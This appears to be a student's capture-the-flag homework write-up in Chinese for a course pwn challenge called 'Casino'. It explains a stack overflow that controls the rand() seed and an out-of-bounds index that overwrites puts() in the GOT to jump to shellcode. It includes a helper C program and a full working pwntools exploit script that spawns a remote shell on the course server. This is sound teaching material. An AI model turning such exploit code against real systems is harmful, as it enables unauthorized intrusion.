###### tags: `程安`
# CS 2019 Fall - Homework 0x05
### [0x05] Casino
先 checksec
```
CANARY : ENABLED
FORTIFY : ENABLED
NX : disabled
PIE : disabled
RELRO : Partial --> GOT可寫
```
然後去找到可以 overflow 的點
```cpp=
char name[0x10] = {0};
read( 0 , name , 0x100 ); <-- 可寫長度超出name的範圍
int guess[6] = {0};
int idx = read_int() - 1;
guess[idx] = read_int(); <-- idx可超出guess的範圍
```
這題的主要流程 & 一些小細節︰(GOT hijack)
1. 把 shellcode 寫到 name 上
* 把`name`寫到 overflow 可以蓋過`seed`和`age`
* 數值產生順序 :`seed`→`name`→`age`
* 我們可以藉由`name` overflow 來控制`seed`,進而預測`lottery[i]`的結果
→ 寫一個 c code 來生成
* 如果直接把 shellcode 寫在`name`上,後面輸入`age`時會蓋到 shellcode 的內容
→ 把 shellcode 的位置調整到`age`後面
2. 利用 guess[idx] 的 idx 來改寫 GOT
* `rip`為 8 Bytes,但藉由`read_int()`一次只能改寫 4 Bytes,所以要改寫兩次
3. 觸發某個 function 讓他去 GOT 上查表,並跳轉到 shellcode 上
* 目標為`puts()`而不是`printf()`
* 理由為`printf()`在進行第二輪猜測時仍會使用到,如果這時已經改寫了 GOT 上`printf()`的位置,那就會跳到奇怪的地方導致程式死去
```cpp=
// lottery.c
#include <stdio.h>
#include <stdlib.h>
int main() {
int lottery[6] = {0}, seed = 0;
srand(seed);
for (int i = 0; i < 6; ++i) {
lottery[i] = rand() % 100;
printf("%d, ", lottery[i]);
// lottery = {83, 86, 77, 15, 93, 35}
}
}
```
```python=
# script.py
from pwn import *
context.arch = 'amd64'
host, port = "edu-ctf.csie.org", 10172
p = remote(host, port)
payload = "FUCK" * 4 # &name = 0x6020F0
payload += "\x00" * 4 # seed = 0
payload += "\x00" * 4 # age = 0, but will be overwrite later
# &shellcode = 0x602108 = 6299912d
shellcode = pwnlib.shellcraft.amd64.linux.sh()
p.sendlineafter(": ", payload + asm(shellcode))
for i in range(1 + 6):
p.sendlineafter(": ", "20")
p.sendlineafter(": ", "1")
p.sendlineafter(": ", "-42") # overwrite guess[-43]
p.sendlineafter(": ", "0") # 0x0000000000602108
# |------|
lottery = [83, 86, 77, 15, 93, 35]
for i in range(6):
p.sendlineafter(": ", str(lottery[i]))
p.sendlineafter(": ", "1")
p.sendlineafter(": ", "-43") # overwrite guess[-44]
p.sendlineafter(": ", "6299912") # 0x0000000000602108
# |------|
p.interactive()
```
:::success

:::